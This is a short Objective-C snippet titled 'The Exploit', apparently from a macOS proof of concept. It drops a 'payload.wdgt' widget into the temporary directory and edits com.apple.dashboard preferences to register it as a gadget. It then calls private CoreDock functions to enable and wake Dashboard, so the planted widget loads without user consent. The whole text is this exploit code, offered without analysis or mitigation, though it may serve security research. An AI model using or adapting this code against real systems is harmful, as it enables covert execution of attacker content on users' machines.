The Exploit
NSString *widget = [NSTemporaryDirectory() stringByAppendingPathComponent:@"payload.wdgt"];
mkdir([widget UTF8String], 0777);
EXTRACT(@"main.html", main_html, main_html_len);
EXTRACT(@"Info.plist", Info_plist, Info_plist_len);
EXTRACT(@"Default.png", Default_png, Default_png_len);
CFStringRef domain = CFSTR("com.apple.dashboard");
CFArrayRef item = (__bridge CFArrayRef) @[ @{
@"32bit" : @0,
@"id" : @"AAAAA",
@"in-layer" : @1,
@"path" : widget,
@"relativepath" : widget,
@"separate-process" : @0
} ];
CFPreferencesSetAppValue(CFSTR("mcx-disabled"), CFSTR("NO"), domain);
CFPreferencesSetAppValue(CFSTR("layer-gadgets"), item, domain);
CFPreferencesAppSynchronize(domain);
CoreDockSetPreferences((__bridge CFDictionaryRef) @{@"enabledState" : @3});
CoreDockSendNotification(CFSTR("com.apple.dashboard.awake"));